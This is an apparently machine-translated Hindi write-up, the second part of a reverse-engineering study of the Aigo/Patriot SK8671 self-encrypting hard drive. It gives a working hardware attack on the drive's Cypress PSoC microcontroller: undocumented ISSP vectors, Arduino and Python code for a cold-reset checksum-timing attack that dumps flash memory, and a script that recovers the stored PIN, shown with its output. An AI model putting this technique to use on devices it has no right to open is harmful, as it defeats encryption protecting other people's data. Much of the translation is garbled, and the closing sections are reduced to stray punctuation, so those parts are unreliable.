यह बाहरी स्व-एन्क्रिप्टिंग ड्राइव को हैक करने के बारे में लेख का दूसरा और अंतिम भाग है। मैं आपको याद दिलाता हूं कि हाल ही में एक सहयोगी ने मुझे एक पैट्रियट (Aigo) SK8671 हार्ड ड्राइव लाया था, और मैंने इसे उलटने का फैसला किया, और अब मैं इसे साझा कर रहा हूं जो इसके बारे में आया था। आगे पढ़ने से पहले, लेख के पहले भाग को पढ़ना सुनिश्चित करें।

4. हम आंतरिक फ्लैश ड्राइव PSoC से डंप को निकालना शुरू करते हैं
5. ISSP प्रोटोकॉल
- 5.1। ISSP क्या है?
- 5.2। वैक्टर का प्रदर्शन
- 5.3। PSoC के साथ चैट करें
- 5.4। इंट्रा-चिप रजिस्टरों की पहचान
- 5.5। सुरक्षात्मक बिट्स
6. पहला (विफल) हमला: ROMX
7. दूसरा हमला: कोल्ड रीसेट के साथ ट्रेस
- 7.1। कार्यान्वयन
- 7.2। परिणाम पढ़ें
- 7.3। फ्लैश बाइनरी का पुनर्निर्माण
- 7.4। पिनकोड भंडारण पता प्राप्त करें
- 7.5। हम ब्लॉक नंबर 126 के डंप को हटाते हैं
- 7.6। पिनकोड रिकवरी
8. आगे क्या?
9. निष्कर्ष

4. हम आंतरिक फ्लैश ड्राइव PSoC से डंप को निकालना शुरू करते हैं

तो, सब कुछ इंगित करता है (जैसा कि हमने [पहले भाग में स्थापित किया था] ()) कि पिनकोड को पीएसओसी फ्लैश बॉल्स में संग्रहीत किया जाता है। इसलिए, हमें इन फ्लैश बॉल्स को पढ़ने की जरूरत है। आवश्यक कार्य का मोर्चा:

माइक्रोकंट्रोलर के साथ "संचार" पर नियंत्रण रखना;
यह जांचने का एक तरीका खोजें कि क्या यह "संचार" बाहर से पढ़ने से सुरक्षित है;
सुरक्षा के लिए एक रास्ता खोजें।

दो जगह हैं जहाँ यह एक वैध पिनकोड देखने के लिए समझ में आता है:

आंतरिक फ्लैश मेमोरी;
SRAM, जहां पिनकोड को उपयोगकर्ता द्वारा दर्ज किए गए पिनकोड के साथ तुलना करने के लिए संग्रहीत किया जा सकता है।

आगे देखते हुए, मैं ध्यान देता हूं कि मैं अभी भी आंतरिक फ्लैश ड्राइव PSoC के डंप को हटाने में कामयाब रहा, ISSP प्रोटोकॉल की अनिर्दिष्ट सुविधाओं को उलटने के बाद हार्डवेयर हमले "कोल्ड रीसेट ट्रेस" का उपयोग करके। इससे मुझे वर्तमान पिनकोड को सीधे डंप करने की अनुमति मिली।

$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9

परिणामी प्रोग्राम कोड:

5. ISSP प्रोटोकॉल

5.1। ISSP क्या है?

माइक्रोकंट्रोलर के साथ "संचार" का अर्थ अलग-अलग हो सकता है: "विक्रेता से विक्रेता" तक, एक सीरियल प्रोटोकॉल (उदाहरण के लिए, माइक्रोचिप के PIC के लिए ICSP) का उपयोग करके बातचीत करना।

इसके लिए सरू के पास खुद का मालिकाना प्रोटोकॉल है, जिसे ISSP (इन-सिस्टम सीरियल प्रोग्रामिंग प्रोटोकॉल) कहा जाता है, जिसे तकनीकी विनिर्देश में आंशिक रूप से वर्णित किया गया है। US7185162 कुछ जानकारी भी प्रदान करता है। HSSP नामक एक OpenSource एनालॉग भी है (हम इसे बाद में उपयोग करेंगे)। ISSP इस प्रकार काम करता है:

PSoC को पुनरारंभ करें;
इस PSoC के सीरियल डेटा लेग पर जादू नंबर लाएं; बाहरी प्रोग्रामिंग मोड में प्रवेश करने के लिए;
ऐसे कमांड भेजें जो "वैक्टर" नामक लंबे बिट स्ट्रिंग्स हैं।

ISSP प्रलेखन में, इन वैक्टरों को केवल कुछ मुट्ठी भर कमांड के लिए परिभाषित किया गया है:

प्रारंभ -1
प्रारंभ -2
आरंभिक -3 (3V और 5V विकल्प)
आईडी सेटअप
पढ़ें-आईडी-वर्ड
सेट-ब्लॉक-नुम: 10011111010dddddddd111, जहां dddddddd = ब्लॉक #
बल्क ERASE
कार्यक्रम-ब्लॉक
सत्यापित करें-सेटअप
READ-BYTE: 10110aaaaZDDDDDDDDZ1, जहां DDDDDDDDD = डेटा आउट, आआआआआआ = पता (6 बिट्स)
WRITE-BYTE: 10010aaaaadddddddd111, जहां dddddddd = में डेटा, आआआआआआ = पता (6 बिट्स)
सुरक्षित
अंततः,-सेटअप
READ-CHECKSUM: 10111111001ZDDDDDDDDDDD111101111000ZDDDDDDDZ1, जहाँ DDDDDDDDDDDDDDDDD = = बाहर: डिवाइस चेकसम
मिटा दें

उदाहरण के लिए, प्रारंभिक -2 के लिए वेक्टर:

 1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111

सभी वैक्टर की लंबाई समान है: 22 बिट्स। HSSP प्रलेखन में ISSP के बारे में कुछ अतिरिक्त जानकारी है: "ISSP वेक्टर निर्देश के एक समूह का प्रतिनिधित्व करने वाले एक बिट अनुक्रम से अधिक कुछ नहीं है।"

5.2। वैक्टर का प्रदर्शन

आइए देखें कि यहां क्या होता है। प्रारंभ में, मैंने माना कि ये वैक्टर एम 8 सी निर्देशों के कच्चे संस्करण हैं, हालांकि, इस परिकल्पना का परीक्षण करने पर, मैंने पाया कि संचालन के ऑपकोड मेल नहीं खाते हैं।

फिर मैंने उपरोक्त वेक्टर को देखा, और इस अध्ययन पर ठोकर खाई, जहां लेखक विवरण में नहीं जा रहा है, कुछ व्यावहारिक सुराग देता है: "प्रत्येक निर्देश तीन बिट्स से शुरू होता है जो चार मेनेमिक्स (रैम से पढ़ें), रैम के लिए लिखता है , रजिस्टर पढ़ें, रजिस्टर लिखें)। इसके बाद 8-बिट एड्रेस आता है, इसके बाद 8 डेटा बिट्स (या तो पढ़ा या लिखा हुआ) और अंत में तीन स्टॉप बिट्स होते हैं। ”

तब मैं तकनीकी मैनुअल के सुपरवाइजरी रॉम (एसआरएम) अनुभाग से कुछ बहुत उपयोगी जानकारी इकट्ठा करने में सक्षम था। SROM PSoC में एक हार्ड-कोडित ROM है जो उपयोगकर्ता में चल रहे सॉफ़्टवेयर कोड के लिए सेवा कार्य (Syscall के समान) प्रदान करता है:

00h: SWBootReset
01h: ReadBlock
02h: राइटब्लॉक
03h: EraseBlock
06 एच: टेबलरेड
07h: चेकसम
08h: कैलिब्रेट 0
09h: कैलिब्रेट 1

एसआरएम कार्यों के साथ वेक्टर नामों की तुलना करते हुए, हम इस प्रोटोकॉल द्वारा समर्थित विभिन्न संचालन को अपेक्षित एसआरएम मापदंडों के अनुसार मैप कर सकते हैं। इसके लिए धन्यवाद, हम ISSP वैक्टर के पहले तीन बिट्स को डीकोड कर सकते हैं:

100 => "राइटम"
101 => "rdmem"
110 => "गलत"
111 => "rdreg"

हालांकि, इंट्रा-चिप प्रक्रियाओं की पूरी समझ केवल पीएसओसी के साथ सीधे संचार के माध्यम से प्राप्त की जा सकती है।

5.3। PSoC के साथ चैट करें

चूंकि डर्क पेत्राउत्स्की ने पहले से ही Arduino में सरू HSSP कोड को पोर्ट कर लिया है , इसलिए मैंने कीबोर्ड बोर्ड को ISSP कनेक्टर से जोड़ने के लिए Arduino Uno का उपयोग किया।

कृपया ध्यान दें कि मेरे शोध के दौरान, मैंने डिर्क कोड को बहुत बदल दिया। आप GitHub पर मेरा संशोधन पा सकते हैं: यहां मेरे रिपॉजिटरी cypress_psoc_tools में Arduino के साथ संवाद करने के लिए संबंधित पायथन स्क्रिप्ट है।

इसलिए, Arduino का उपयोग करते हुए, सबसे पहले मैंने "संचार" के लिए केवल "आधिकारिक" वैक्टर का उपयोग किया। मैंने VERIFY कमांड का उपयोग करके आंतरिक ROM को पढ़ने की कोशिश की। जैसी कि उम्मीद थी, मैं ऐसा नहीं कर सका। संभवतः इस तथ्य के कारण कि फ्लैश ड्राइव के अंदर सुरक्षा बिट्स को पढ़ा जाता है।

फिर मैंने मेमोरी / रजिस्टर लिखने और पढ़ने के लिए अपने कुछ सरल वैक्टर बनाए। कृपया ध्यान दें कि हम पूरे एसआरएम को पढ़ सकते हैं, भले ही फ्लैश ड्राइव संरक्षित हो!

5.4। इंट्रा-चिप रजिस्टरों की पहचान

"असंतुष्ट" वैक्टरों को देखते हुए, मैंने पाया कि डिवाइस एम 8 सी ओपकोड को इंगित करने के लिए अनिर्धारित रजिस्टरों (0xF8-0xFA) का उपयोग करता है जो सीधे सुरक्षा को दरकिनार करते हैं। इसने मुझे "ADD", "MOV A, X", "PUSH" या "JMP" जैसे कई ऑपकोड चलाने की अनुमति दी। उनके लिए धन्यवाद (साइड इफेक्ट्स जो कि रजिस्टरों पर हैं) को देखते हुए, मैं यह निर्धारित करने में सक्षम था कि कौन से अनिर्दिष्ट रजिस्टरों वास्तव में नियमित रजिस्टर (ए, एक्स, एसपी और पीसी) हैं।

परिणामस्वरूप, HSSP_disas.rb टूल द्वारा उत्पन्न "डिस्सैम्बल्ड" कोड कुछ इस तरह दिखता है (स्पष्टता के लिए, मैंने टिप्पणियाँ जोड़ी):

 --== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 #   [DE C0 1C] wrreg SP (f6), 0x00 #  SP [9F 07 5C] wrmem KEY1, 0x3A #    SSC [9F 20 7C] wrmem KEY2, 0x03 #  [DE A0 1C] wrreg PCh (f5), 0x00 #  PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ...  3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM-    [DF 26 1C] wrreg opc1 (f9), 0x30 #  1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 #  2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID   SSC [DE 00 DC] wrreg A (f0), 0x06 #  "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 #   SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 #  :

5.5। सुरक्षात्मक बिट्स

इस स्तर पर, मैं पहले से ही PSoC के साथ संवाद कर सकता हूं, लेकिन मुझे अभी भी फ्लैश ड्राइव के सुरक्षात्मक बिट्स के बारे में विश्वसनीय जानकारी नहीं है। मुझे इस तथ्य से बहुत आश्चर्य हुआ कि सरू उपकरण उपयोगकर्ता को यह जांचने के लिए कोई साधन नहीं देता है कि क्या सुरक्षा सक्रिय है। मैं अंत में समझने के लिए Google में गहराई से गया कि सरू द्वारा प्रदान किए गए HSSP कोड को अपडेट किया गया था क्योंकि डिर्क ने अपना संशोधन जारी किया था। और वहाँ तुम जाओ! यहाँ एक नया वेक्टर इस प्रकार है:

 [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 #   [9F E0 1C] wrmem 0xFF, 0x00 #  [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 #  syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

इस वेक्टर का उपयोग करते हुए (psoc.py में read_security_data देखें), हमें SRAM में 0x80 पर सभी सुरक्षा बिट्स मिलते हैं, जहां प्रत्येक बिट को दो बिट्स के साथ सुरक्षित किया जाता है।

परिणाम निराशाजनक है: सब कुछ "बाहरी पढ़ने और लिखने में अक्षम" मोड में संरक्षित है। इसलिए, हम न केवल यूएसबी फ्लैश ड्राइव से कुछ भी पढ़ सकते हैं, बल्कि इसे भी लिख सकते हैं (उदाहरण के लिए, वहां एक ROM डम्पर पेश करने के लिए)। और सुरक्षा को अक्षम करने का एकमात्र तरीका पूरी चिप को पूरी तरह से मिटा देना है। :-(

6. पहला (विफल) हमला: ROMX

हालांकि, हम निम्नलिखित चाल की कोशिश कर सकते हैं: चूंकि हमारे पास मनमाने ढंग से opcodes निष्पादित करने की क्षमता है, इसलिए ROMX को क्यों नहीं चलाया जाता है, जिसका उपयोग फ्लैश मेमोरी पढ़ने के लिए किया जाता है? इस दृष्टिकोण से सफलता की अच्छी संभावना है। क्योंकि रीडब्लॉक फ़ंक्शन, जो एसआरएम से डेटा पढ़ता है (जिसका उपयोग वैक्टर द्वारा किया जाता है), यह देखने के लिए जांचता है कि क्या इसे आईएसएसपी कहा जाता है। हालाँकि, ROMX opcode में संभवतः ऐसा चेक नहीं है। तो, यहाँ पायथन कोड है (कुछ सहायक वर्गों को अरडूइनो सी कोड में जोड़ने के बाद):

 for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte

दुर्भाग्य से, यह कोड काम नहीं करता है। :-( बल्कि, यह काम करता है, लेकिन आउटपुट में हमें अपना ऑप्कोड (0x28 0x30xx40) मिलता है! मुझे नहीं लगता कि डिवाइस की संबंधित कार्यक्षमता रीड प्रोटेक्शन का एक तत्व है। यह इंजीनियरिंग ट्रिक की तरह है: बाहरी ऑपकोड को निष्पादित करते समय, ROM बस को पुनर्निर्देशित किया जाता है। एक अस्थायी बफर के लिए।

7. दूसरा हमला: कोल्ड रीसेट के साथ ट्रेस

चूंकि ROMX ट्रिक ने काम नहीं किया था, इसलिए मैंने इस ट्रिक के एक और बदलाव के बारे में सोचना शुरू किया - जो कि "एक माइक्रोकंट्रोलर के फ़र्मवेयर प्रोटेक्शन पर बहुत ज़्यादा लाइटिंग बहा रहा है" प्रकाशन में वर्णित है।

7.1। कार्यान्वयन

CHECKSUM-SETUP के लिए निम्नलिखित वेक्टर ISSP प्रलेखन में सूचीबद्ध है:

 [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यहां, संक्षेप में, SROM फ़ंक्शन 0x07 को कहा जाता है, जैसा कि प्रलेखन (इटैलिक मेरा) में प्रस्तुत किया गया है:

यह फ़ंक्शन चेकसम चेकसम है। यह एक फ्लैश बैंक में उपयोगकर्ता द्वारा निर्धारित ब्लॉक की संख्या की 16-बिट चेकसम की गणना करता है, जो शून्य से गिना जाता है। BLOCKID पैरामीटर का उपयोग उन ब्लॉकों की संख्या को स्थानांतरित करने के लिए किया जाता है जो चेकसम की गणना करते समय उपयोग किए जाएंगे। "1" का मान केवल शून्य ब्लॉक के लिए चेकसम की गणना करेगा; जबकि "0" इस तथ्य को जन्म देगा कि फ्लैश बैंक के सभी 256 ब्लॉकों के कुल चेकम की गणना की जाएगी। एक 16-बिट चेकसम को KEY1 और KEY2 के माध्यम से लौटाया जाता है। पैरामीटर KEY1 में, चेकसम की कम 8 बिट्स तय की जाती हैं, और KEY2 में, उच्च 8 बिट्स रिकॉर्ड किए जाते हैं। कई फ्लैश बैंकों वाले उपकरणों के लिए, चेकसम फ़ंक्शन को प्रत्येक व्यक्तिगत रूप से कहा जाता है। जिस बैंक नंबर के साथ यह काम करेगा, वह रजिस्टर FLS_PR1 द्वारा सेट किया गया है (लक्ष्य फ़्लैश बैंक के अनुरूप इसमें थोड़ी सी सेटिंग करके)।

ध्यान दें कि यह सबसे सरल चेकसम है: बाइट्स को एक-एक करके सम्‍मिलित किया जाता है; कोई परिष्कृत सीआरसी quirks। इसके अलावा, यह जानते हुए कि एम 8 सी कोर में रजिस्टरों का सेट बहुत छोटा है, मैंने यह माना कि चेकसम की गणना करते समय, मध्यवर्ती मान उसी चर में तय किए जाएंगे जो अंततः आउटपुट होंगे: KEY1 (0xF8 / KEY2 (0xF9)।

तो, सिद्धांत रूप में, मेरा हमला इस तरह दिखता है:

ISSP के माध्यम से कनेक्ट करें।
हम वेक्टर चेक-सेटप का उपयोग करके चेकसम की गणना शुरू करते हैं।
हम निर्दिष्ट समय टी के बाद प्रोसेसर को रिबूट करते हैं।
वर्तमान चेकसम सी प्राप्त करने के लिए रैम पढ़ें।
चरण 3 और 4 को दोहराएं, हर बार टी बढ़ाना।
हम पिछले एक चेकसम सी को वर्तमान से घटाकर फ्लैश ड्राइव से डेटा पुनर्प्राप्त करते हैं।

हालाँकि, एक समस्या उत्पन्न हुई: आरंभिक -1 वेक्टर, जिसे हमें रिबूट के बाद भेजना होगा, KEY1 और KEY2 को अधिलेखित करता है:

 1100101000000000000000 # ,  PSoC    nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A #     [9F 20 7C] wrmem KEY2, 0x03 #   [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

यह कोड कैलिब्रेट 1 (एसआरएम फ़ंक्शन 9) को कॉल करके हमारे कीमती चेकसम को अधिलेखित कर देता है ... शायद हम मैजिक नंबर (ऊपर कोड की शुरुआत से) और फिर SRAM पढ़कर प्रोग्रामिंग मोड में प्रवेश कर सकते हैं? और हाँ, यह काम करता है! इस हमले को लागू करने वाला Arduino कोड बहुत सरल है:

 case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();

Checkum_delay पढ़ें।
चेकसम गणना (send_checksum_v) चलाएं।
किसी दिए गए समय की प्रतीक्षा करें; निम्नलिखित नुकसान दिए गए:
- मैंने बहुत समय तक हत्या की, जब तक मुझे पता नहीं चला कि देरीमाइक्रोसेकंड केवल 16383 मीटर से अधिक नहीं होने वाली देरी के साथ सही ढंग से काम करने के लिए निकला ;
- और फिर से उसी समय तक मार डाला जब तक यह नहीं पाया गया कि देरीमाइक्रोसेकंड, अगर यह अपने इनपुट के लिए 0 से गुजर गया, तो पूरी तरह से गलत काम किया!
प्रोग्रामिंग मोड में पीएसओसी को फिर से लोड करें (केवल शुरुआती वैक्टर भेजे बिना, मैजिक नंबर भेजें)।

परिणामी पायथन कोड:

 for delay in range(0, 150000): #    for i in range(0, 10): #      try: reset_psoc(quiet=True) #       send_vectors() #    ser.write("\x85"+struct.pack(">I", delay)) #    +    res = ser.read(1) #  arduino ACK except Exception as e: print e ser.close() os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null") ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) #    continue print "%05d %02X %02X %02X" % (delay, #  RAM- read_regb(0xf1), read_ramb(0xf8), read_ramb(0xf9))

संक्षेप में, यह कोड क्या करता है:

PSoC को फिर से लोड करता है (और इसे एक जादू नंबर भेजता है)।
पूर्ण आरंभीकरण वैक्टर भेजता है।
Arduino फ़ंक्शन को कॉल करता है Cmnd_STK_START_CSUM (0x85), जहां माइक्रोसेकंड में देरी को एक पैरामीटर के रूप में पारित किया जाता है।
चेकसम (0xF8 और 0xF9) और अनिर्दिष्ट रजिस्टर 0xF1 पढ़ता है।

इस कोड को 1 माइक्रोसेकंड में 10 बार निष्पादित किया जाता है। 0xF1 को यहां शामिल किया गया है क्योंकि यह एकमात्र रजिस्टर था जो चेकसम की गणना करते समय बदल गया था। शायद यह कुछ प्रकार का अस्थायी चर है जिसका उपयोग अंकगणितीय तर्क डिवाइस द्वारा किया जाता है। उस बदसूरत हैक पर ध्यान दें जिसे मैं Arduino को picocom का उपयोग करके पुनः आरंभ करता हूं जब Arduino जीवन के संकेत देना बंद कर देता है (मुझे पता नहीं क्यों)।

7.2। परिणाम पढ़ें

पायथन लिपि का परिणाम इस तरह दिखता है (पठनीयता के लिए सरल):

 DELAY F1 F8 F9 # F1 –    # F8     # F9     00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 #     0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 #   ,    00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 #  E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 #  [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , !        00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30

उसी समय, हमारे पास एक समस्या है: चूंकि हम वास्तविक चेकसम पर काम करते हैं, एक शून्य बाइट रीड वैल्यू को नहीं बदलता है। हालांकि, चूंकि पूरी गणना प्रक्रिया (8192 बाइट्स) 0.1478 सेकंड (प्रत्येक शुरुआत में मामूली विचलन) के साथ होती है, जो मोटे तौर पर प्रति बाइट 18.04 μ से मेल खाती है, हम इस समय का उपयोग उपयुक्त समय पर चेकसम के मूल्य की जांच करने के लिए कर सकते हैं। पहले रन के लिए, सब कुछ काफी आसानी से पढ़ा जाता है, क्योंकि कम्प्यूटेशनल प्रक्रिया की अवधि हमेशा लगभग समान होती है। हालांकि, इस डंप का अंत कम सटीक है, क्योंकि प्रत्येक रन के साथ "समय में महत्वहीन विचलन" को संक्षेपित किया गया है और महत्वपूर्ण हो गया है:

 134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD

ये प्रत्येक माइक्रोसेकंड देरी के लिए 10 डंप हैं। एक फ्लैश ड्राइव के सभी 8192 बाइट्स को डंप करने का कुल संचालन समय लगभग 48 घंटे है।

7.3। फ्लैश बाइनरी का पुनर्निर्माण

मैंने अभी तक एक कोड लिखना पूरा नहीं किया है जो फ्लैश ड्राइव के प्रोग्राम कोड को पूरी तरह से फिर से संगठित करता है, समय में सभी विचलन को ध्यान में रखते हुए। हालाँकि, मैंने पहले ही इस कोड की शुरुआत को बहाल कर दिया है। यह सुनिश्चित करने के लिए कि मैंने इसे सही ढंग से किया है, मैंने m8cdis का उपयोग करके इसे अलग कर दिया:

 0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret

काफी विश्वसनीय लगता है!

7.4। पिनकोड भंडारण पता प्राप्त करें

अब जब हम जरूरत पड़ने पर चेकसम पढ़ सकते हैं, तो हम आसानी से जांच सकते हैं कि हम कब और कैसे बदल जाते हैं:

गलत पिनकोड दर्ज करें;
पिनकोड बदलें।

सबसे पहले, अनुमानित भंडारण पते को खोजने के लिए, मैंने रिबूट के बाद 10 एमएस वेतन वृद्धि में एक चेकसम डंप लिया। फिर मैंने गलत पिनकोड में प्रवेश किया और वही किया।

परिणाम बहुत सुखद नहीं था, क्योंकि कई बदलाव हुए थे। लेकिन अंत में, मैं स्थापित करने में सक्षम था कि चेकसम 120,000 μs और 140,000 μs देरी के बीच अंतराल में कहीं बदल गया। लेकिन मुझे जो "पिनकोड" मिला, वह पूरी तरह से गलत था - देरीमाइक्रोसेकंड प्रक्रिया विरूपण साक्ष्य के कारण, जो 0 होने पर अजीब चीजें करता है।

फिर, लगभग 3 घंटे बिताने के बाद, मुझे याद आया कि चेकसम एसआरएम सिस्टम कॉल पर इनपुट एक तर्क प्राप्त करता है जो चेकसम के लिए ब्लॉक की संख्या निर्दिष्ट करता है! इस प्रकार हम 64-बाइट ब्लॉक पर सटीक रूप से पिनकोड और "गलत प्रयासों" के काउंटर के पते को आसानी से स्थानीय कर सकते हैं।

मेरे शुरुआती रनों ने निम्नलिखित परिणाम दिए:

तब मैंने पिनकोड को "123456" से "1234567" में बदल दिया और प्राप्त किया:

इस प्रकार, गलत प्रयासों के पिनकोड और काउंटर ब्लॉक नंबर 126 में संग्रहीत किए गए लगते हैं।

7.5। हम ब्लॉक नंबर 126 के डंप को हटाते हैं

ब्लॉक नंबर 126 को मेरे पूरे डंप में, 125x64x18 = 144000mks के क्षेत्र में, चेकसम की गणना की शुरुआत से कहीं पर होना चाहिए, और यह काफी विश्वसनीय लगता है। फिर, मैन्युअल रूप से कई अमान्य डंप ("समय में मामूली विचलन" के संचय के कारण) को बाहर करने के बाद, मुझे आखिरकार ये बाइट्स मिल गए (145527 μs की देरी के साथ):

यह स्पष्ट है कि पिन कोड अनएन्क्रिप्टेड रूप में संग्रहीत है! ये मान बेशक ASCII कोड में नहीं लिखे गए हैं, लेकिन जैसा कि यह निकला, वे कैपेसिटिव कीबोर्ड से ली गई रीडिंग को दर्शाते हैं।

अंत में, मैंने यह पता लगाने के लिए कुछ और परीक्षण किए कि गलत प्रयासों का काउंटर कहाँ संग्रहीत है। यहाँ परिणाम है:

0xFF - का अर्थ है "15 प्रयास", और यह प्रत्येक गलत प्रयास से घटता है।

7.6। पिनकोड रिकवरी

यहाँ मेरा बदसूरत कोड है जो उपरोक्त सभी को एक साथ लाता है:

 def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print

यहाँ इसके निष्पादन का परिणाम है:

 $ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9

हुर्रे! यह काम करता है!

कृपया ध्यान दें कि मेरे द्वारा उपयोग किए जाने वाले विलंब मूल्य एक विशिष्ट PSoC के लिए सबसे अधिक प्रासंगिक हैं - जो मैंने उपयोग किया था।

8. आगे क्या?

, PSoC, Aigo:

SRAM, ;
, « », .

, – - . :

, « »;
FPGA- ( Arduino);
: , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .

, – , . , , – , .

SROM, ReadBlock, , – , «REcon Brussels 2017» .

, – : SRAM, .

9.

, , ( «») … (), !

Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)

. 40 . ( ) ( ). 40 , . .

Aigo के सेल्फ एनक्रिप्टिंग एक्सटर्नल एचडीडी को उलटाना और हैक करना। भाग 2: सरू पीएसओसी के साथ डंपिंग